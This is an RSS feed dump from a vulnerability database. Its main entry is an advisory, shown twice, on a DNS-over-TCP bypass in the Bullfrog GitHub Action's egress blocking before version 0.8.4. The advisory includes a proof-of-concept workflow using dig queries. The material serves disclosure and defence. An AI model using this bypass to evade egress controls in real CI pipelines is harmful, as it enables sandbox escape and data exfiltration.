https://db.gcve.eu Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Mon, 05 Oct 2026 15:53:58 +0000 https://db.gcve.eu/vuln/bdu:2025-15958 bdu:2025-15958 https://db.gcve.eu/vuln/bdu:2025-15958 https://db.gcve.eu/vuln/fkie_cve-2025-47775 <p>Bullfrog is a GithHb Action to block unauthorized outbound traffic in GitHub workflows. Prior to version 0.8.4, using tcp breaks blocking and allows DNS exfiltration. This can result in sandbox bypass. Version 0.8.4 fixes the issue.</p> <p>Bullfrog is a GithHb Action to block unauthorized outbound traffic in GitHub workflows. Prior to version 0.8.4, using tcp breaks blocking and allows DNS exfiltration. This can result in sandbox bypass. Version 0.8.4 fixes the issue.</p> https://db.gcve.eu/vuln/fkie_cve-2025-47775 https://db.gcve.eu/vuln/ghsa-m32f-fjw2-37v3 <p><strong>Affected:</strong> GitHub Actions: bullfrogsec/bullfrog</p> <p>### Summary</p> <p>Using tcp breaks blocking and allows DNS exfiltration.</p> <p>### PoC</p> <p>``` name: test on: push: branches: - &#34;*&#34;</p> <p>jobs: testBullFrog: runs-on: ubuntu-22.04 steps: - name: Use google dns run: | sudo resolvectl dns eth0 1.1.1.1 resolvectl status - name: Set up bullfrog to block everything uses: bullfrogsec/bullfrog@1472c28724ef13ea0adc54d0a42c2853d42786b1 # v0.8.2 with: egress-policy: block allowed-domains: | *.github.com - name: Test connectivity run: | echo testing udp allowed .. dig api.github.com @1.1.1.1 || : echo testing tcp allowed .. dig api.github.com @1.1.1.1 +tcp || :</p> <p>echo testing udp not allowed dig api.google.com @1.1.1.1 || : echo testing tcp not allowed dig api.google.com @1.1.1.1 +tcp || : ```</p> <p>### Impact</p> <p>sandbox bypass</p> <p></p> <p><strong>Affected:</strong> GitHub Actions: bullfrogsec/bullfrog</p> <p>### Summary</p> <p>Using tcp breaks blocking and allows DNS exfiltration.</p> <p>### PoC</p> <p>``` name: test on: push: branches: - &#34;*&#34;</p> <p>jobs: testBullFrog: runs-on: ubuntu-22.04 steps: - name: Use google dns run: | sudo resolvectl dns eth0 1.1.1.1 resolvectl status - name: Set up bullfrog to block everything uses: bullfrogsec/bullfrog@1472c28724ef13ea0adc54d0a42c2853d42786b1 # v0.8.2 with: egress-policy: block allowed-domains: | *.github.com - name: Test connectivity run: | echo testing udp allowed .. dig api.github.com @1.1.1.1 || : echo testing tcp allowed .. dig api.github.com @1.1.1.1 +tcp || :</p> <p>echo testing udp not allowed dig api.google.com @1.1.1.1 || : echo testing tcp not allowed dig api.google.com @1.1.1.1 +tcp || : ```</p> <p>### Impact</p> <p>sandbox bypass</p> <p></p> https://db.gcve.eu/vuln/ghsa-m32f-fjw2-37v3